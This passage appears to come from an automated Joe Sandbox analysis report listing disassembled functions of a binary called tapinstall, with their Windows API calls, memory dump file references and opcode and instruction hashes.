                                                                                                                      • Opcode Fuzzy Hash: 63c62522b583ab65492df3df2897c9d34e58fcc378565526384e87568434e7d9
                                                                                                                      • Instruction Fuzzy Hash: 9EF1F2A2B18A99C5FB20EF66AC005AAE7A0FB4DBD4F844575EE5D47B84DF3CD4418320
                                                                                                                      Function 00007FF76A6D4D80 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43shutdownCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ProcessToken$AdjustCloseCurrentHandleInitiateLookupOpenPrivilegePrivilegesShutdownSystemValue
                                                                                                                      • String ID: SeShutdownPrivilege
                                                                                                                      • API String ID: 2036077386-3733053543
                                                                                                                      • Opcode ID: f561dac5e6c18281b4010f054e9054ffc8b813bd40337e654f72e59e3645770f
                                                                                                                      • Instruction ID: 2848b0eb8acb4ac71ed86adb78a734fe2871a3cf942c4396a0061ac8f4e51e1b
                                                                                                                      • Opcode Fuzzy Hash: f561dac5e6c18281b4010f054e9054ffc8b813bd40337e654f72e59e3645770f
                                                                                                                      • Instruction Fuzzy Hash: 9E110372A18B42C2F760EF61F41576AB7A1FB88784F805075EA8E43A54DF7CD054DB10
                                                                                                                      Function 00007FF76A719BC0 Relevance: 10.7, APIs: 7, Instructions: 246COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: memcpy_s
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1502251526-0
                                                                                                                      • Opcode ID: 367b353356dc7549a3a05ae401a0d7ae4e6ca703a61e1e2289ec1d18ee3772f9
                                                                                                                      • Instruction ID: 63329fad6e61b68d9de35cf54eb3ba5a3c6638fe4b814e2519ec1724203db972
                                                                                                                      • Opcode Fuzzy Hash: 367b353356dc7549a3a05ae401a0d7ae4e6ca703a61e1e2289ec1d18ee3772f9
                                                                                                                      • Instruction Fuzzy Hash: A8A19372A042C2CBE77A9F15E440AE9B7D4F768788F889135DB8A47B44CB38ED46C710
                                                                                                                      Function 00007FF76A714960 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 234COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                        • Part of subcall function 00007FF76A7075E8: GetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A7075F7
                                                                                                                        • Part of subcall function 00007FF76A7075E8: SetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A707695
                                                                                                                      • TranslateName.LIBCMT ref: 00007FF76A7149CD
                                                                                                                      • TranslateName.LIBCMT ref: 00007FF76A714A08
                                                                                                                      • GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF76A7027F8), ref: 00007FF76A714A4D
                                                                                                                      • IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF76A7027F8), ref: 00007FF76A714A75
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorLastNameTranslate$CodePageValid
                                                                                                                      • String ID: utf8
                                                                                                                      • API String ID: 2136749100-905460609
                                                                                                                      • Opcode ID: d9b8ad3760af016a63c72bc9a843d741a47231133edd535d7ed3e9ae3113bd32
                                                                                                                      • Instruction ID: adb5c65c1b028f3717ff9de8a02ed377a8af462eb81707b87419bc81006548c2
                                                                                                                      • Opcode Fuzzy Hash: d9b8ad3760af016a63c72bc9a843d741a47231133edd535d7ed3e9ae3113bd32
                                                                                                                      • Instruction Fuzzy Hash: 70919EB2A08742C5FB21BF21D4412B9B3E9EB48B88F8881B1DA5D47785DF3CE951D320
                                                                                                                      Function 00007FF76A715478 Relevance: 10.7, APIs: 7, Instructions: 171COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3939093798-0
                                                                                                                      • Opcode ID: 698639ebde3256074987202a2cc8b981a0ae2b2705bee52486481ff24fbfc6ce
                                                                                                                      • Instruction ID: efb0e9db175599e481046a40e6ef819a043fe25e36fdfe8745c2607df6d8c79d
                                                                                                                      • Opcode Fuzzy Hash: 698639ebde3256074987202a2cc8b981a0ae2b2705bee52486481ff24fbfc6ce
                                                                                                                      • Instruction Fuzzy Hash: 79719F62B04642CAFB1AAF60E8102B8B3E1BF4CB48FC84476CA0D57695DF3DE844C360
                                                                                                                      Function 00007FF76A706788 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1239891234-0
                                                                                                                      • Opcode ID: 33f4d05915216eab4ab632b90a56ad91ab0ee05a89d810f3c8b53b4161930c69
                                                                                                                      • Instruction ID: 6f09bdb44916b842935676e8626b44daf6ab1edfbe94e562770a890ac8930ca3
                                                                                                                      • Opcode Fuzzy Hash: 33f4d05915216eab4ab632b90a56ad91ab0ee05a89d810f3c8b53b4161930c69
                                                                                                                      • Instruction Fuzzy Hash: B5319536608F81C5E760EF25E8402AEB3A4FB88794F940175EA9D43B98DF3CD155CB10
                                                                                                                      Function 00007FF76A70ECAC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 119fileCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Find$File$CloseFirstNext
                                                                                                                      • String ID: .$.
                                                                                                                      • API String ID: 3541575487-3769392785
                                                                                                                      • Opcode ID: 147d8d088a2ab65af6ce8502f9dfb33cdb0b941aabc59c27737b474ffebd2bbe
                                                                                                                      • Instruction ID: 8d8a56d4b2322d610993977b9daedafbc833d06b48ccad87c9d12c77b36f0f84
                                                                                                                      • Opcode Fuzzy Hash: 147d8d088a2ab65af6ce8502f9dfb33cdb0b941aabc59c27737b474ffebd2bbe
                                                                                                                      • Instruction Fuzzy Hash: 3241EAA2B18599C4FA60EF65AC042BAE391EB89BE4F8581B1DD4D077C4DE7CD5818720
                                                                                                                      Function 00007FF76A6D3630 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98fileCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: DirectoryFileFindFirstWindows
                                                                                                                      • String ID: \INF\OEM*.INF
                                                                                                                      • API String ID: 1585389207-2728984289
                                                                                                                      • Opcode ID: 96e7f8943384205df238da4809613e295090238b8a99556eaef6c16c72f10844
                                                                                                                      • Instruction ID: 50e5cc4acf587173f11279e0130af0062e2ee578756637e46a712d670c09518b
                                                                                                                      • Opcode Fuzzy Hash: 96e7f8943384205df238da4809613e295090238b8a99556eaef6c16c72f10844
                                                                                                                      • Instruction Fuzzy Hash: F3417C62B18A82C5FE61BB24E4543B9E2A2EF94F90FD44176CA4E037D5DF2CE8158224
                                                                                                                      Function 00007FF76A7166E8 Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorFileLastWrite$Console
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 786612050-0
                                                                                                                      • Opcode ID: d3beed3413ee1199dba947ae966059d4b9df67c161722cedc9c5d103b3af1309
                                                                                                                      • Instruction ID: 748921ef7f75c9f66dd5616063053e7376afd8e86b76a7179241e0dcce62ba88
                                                                                                                      • Opcode Fuzzy Hash: d3beed3413ee1199dba947ae966059d4b9df67c161722cedc9c5d103b3af1309
                                                                                                                      • Instruction Fuzzy Hash: A8D12472B08A82DAF711DF64D4841EDB7B2FB49798B984175CE4E47B88DE38D61AC310
                                                                                                                      Function 00007FF76A708B44 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: InfoLocaletry_get_function
                                                                                                                      • String ID: GetLocaleInfoEx
                                                                                                                      • API String ID: 2200034068-2904428671
                                                                                                                      • Opcode ID: 02750f415f3cd806410832db7a44b855064978a5e13e35f6515160912ac6add6
                                                                                                                      • Instruction ID: 7d769d439afc73af486c6d97e84f1d82b68e49eb549af4b9373b405503744fbf
                                                                                                                      • Opcode Fuzzy Hash: 02750f415f3cd806410832db7a44b855064978a5e13e35f6515160912ac6add6
                                                                                                                      • Instruction Fuzzy Hash: AA016D65B08A42C1FB00AF26B9404AAF661EF9CBC0FA94075EE5C17B65CE3CD5418750
                                                                                                                      Function 00007FF76A7196F0 Relevance: 4.8, APIs: 3, Instructions: 317COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: memcpy_s
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1502251526-0
                                                                                                                      • Opcode ID: 8cea97ad10f18f43ea70dff6f68e6fc975f0f687338f3efd8ca2cf0a0ef5ac24
                                                                                                                      • Instruction ID: 81e252f5800744e69c26ab90f1a35168ad2d571365b6613383438f4a02a54988
                                                                                                                      • Opcode Fuzzy Hash: 8cea97ad10f18f43ea70dff6f68e6fc975f0f687338f3efd8ca2cf0a0ef5ac24
                                                                                                                      • Instruction Fuzzy Hash: 62C1B472B18286C7E725DF19E184A6AF7E1F7A8784F888135DB4A43744DA3DED42CB40
                                                                                                                      Function 00007FF76A714ED0 Relevance: 4.7, APIs: 3, Instructions: 169COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                        • Part of subcall function 00007FF76A7075E8: GetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A7075F7
                                                                                                                        • Part of subcall function 00007FF76A7075E8: SetLastError.KERNEL32(?,?,?,00007FF76A717232,?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B), ref: 00007FF76A707695
                                                                                                                      • GetLocaleInfoW.KERNEL32 ref: 00007FF76A714F3C
                                                                                                                        • Part of subcall function 00007FF76A6E676C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF76A6E6789
                                                                                                                      • GetLocaleInfoW.KERNEL32 ref: 00007FF76A714F85
                                                                                                                        • Part of subcall function 00007FF76A6E676C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF76A6E67E2
                                                                                                                      • GetLocaleInfoW.KERNEL32 ref: 00007FF76A715050
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: InfoLocale$ErrorLast_invalid_parameter_noinfo
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3644580040-0
                                                                                                                      • Opcode ID: e8c6a04a7efb30580b1de6acdcde22ad9448435ad199d966b2e32c4fa01e2337
                                                                                                                      • Instruction ID: 40983cd512f0d809a1a567516cc4422cb3c9c2cdba5f667eea9362dcf120fffb
                                                                                                                      • Opcode Fuzzy Hash: e8c6a04a7efb30580b1de6acdcde22ad9448435ad199d966b2e32c4fa01e2337
                                                                                                                      • Instruction Fuzzy Hash: AC61C472A08642CAFB39AF21E540179B3E1FB58744F888175CB5E93691DF3DE851C760
                                                                                                                      Function 00007FF76A70BD18 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 248COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: gfffffff
                                                                                                                      • API String ID: 3215553584-1523873471
                                                                                                                      • Opcode ID: 9a7811f407a379061f5ff88b26a0f4d0f292d93459f7b1a2d23494d512ae23e6
                                                                                                                      • Instruction ID: bd3b5033bc8c22b2c0e47a83b35f93c28c0607a777049628a8962b3d1e416c04
                                                                                                                      • Opcode Fuzzy Hash: 9a7811f407a379061f5ff88b26a0f4d0f292d93459f7b1a2d23494d512ae23e6
                                                                                                                      • Instruction Fuzzy Hash: 8C9168A2B097C5C6FB11EF25D8103BDA795AB98B80F458072CA5D87392DE3DF606C721
                                                                                                                      Function 00007FF76A70C738 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 207COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • _invalid_parameter_noinfo.LIBCMT ref: 00007FF76A70C769
                                                                                                                        • Part of subcall function 00007FF76A706A20: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF76A7069CD), ref: 00007FF76A706A29
                                                                                                                        • Part of subcall function 00007FF76A706A20: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF76A7069CD), ref: 00007FF76A706A4E
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
                                                                                                                      • String ID: -
                                                                                                                      • API String ID: 4036615347-2547889144
                                                                                                                      • Opcode ID: 26c914aef9ac55f9fac2af390a0e01635bd93ea7664d4486faf8e589a2590b3f
                                                                                                                      • Instruction ID: c6f146ba33caa7126df530134aa8bb0cce5d1fd005ae672c32699ebb22852b7d
                                                                                                                      • Opcode Fuzzy Hash: 26c914aef9ac55f9fac2af390a0e01635bd93ea7664d4486faf8e589a2590b3f
                                                                                                                      • Instruction Fuzzy Hash: 9F81D0B2B0878585F6A4AF25990436AF791EB997E0F844275DA9E43BD9DF3CE4008720
                                                                                                                      Function 00007FF76A708BC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: try_get_function
                                                                                                                      • String ID: GetSystemTimePreciseAsFileTime
                                                                                                                      • API String ID: 2742660187-595813830
                                                                                                                      • Opcode ID: 1d0520b3f6df9746826bb7b6fcba1e6990199ef5daaa10c23599dce049dd0ac3
                                                                                                                      • Instruction ID: c062ee6e86edd3f11a96be25f9b1b974e0376335c27a78b95263faa2456b031a
                                                                                                                      • Opcode Fuzzy Hash: 1d0520b3f6df9746826bb7b6fcba1e6990199ef5daaa10c23599dce049dd0ac3
                                                                                                                      • Instruction Fuzzy Hash: 70E08C93E1980BC1FB19AFA1EC111B0A2A0EF4C744FC904B2CA1C0A2A0DE3CA5C5C778
                                                                                                                      Function 00007FF76A7222DC Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ExceptionRaise_clrfp
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 15204871-0
                                                                                                                      • Opcode ID: 042903b91b322029902fdb30016251db946a203c4db05d47f10b001f22a1f15d
                                                                                                                      • Instruction ID: 140ca7fd3a81868d1290ed4745070155792ba9b42ce09ab1eb892054a649893b
                                                                                                                      • Opcode Fuzzy Hash: 042903b91b322029902fdb30016251db946a203c4db05d47f10b001f22a1f15d
                                                                                                                      • Instruction Fuzzy Hash: 18B17B73614B84CBEB19DF2AC88236C77A0F748B48F55C9A1DA5D83BA4CB39D851C750
                                                                                                                      Function 00007FF76A711154 Relevance: 1.9, APIs: 1, Instructions: 439COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 5eba3dce41e42bb5723036e8a9e38019e2b58d05b121c9b7702cd6f0e866c16f
                                                                                                                      • Instruction ID: 88661c5d1a2f926264f0bc4e4c657eb9fc831d2fd279018df82e6252a3f3ba1a
                                                                                                                      • Opcode Fuzzy Hash: 5eba3dce41e42bb5723036e8a9e38019e2b58d05b121c9b7702cd6f0e866c16f
                                                                                                                      • Instruction Fuzzy Hash: D002DF21F19657C1FA52BF15A800279A6D5AF1DBA0FDD47B8DD6D8A3D1DE3CA8018330
                                                                                                                      Function 00007FF76A712160 Relevance: 1.9, APIs: 1, Instructions: 371COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
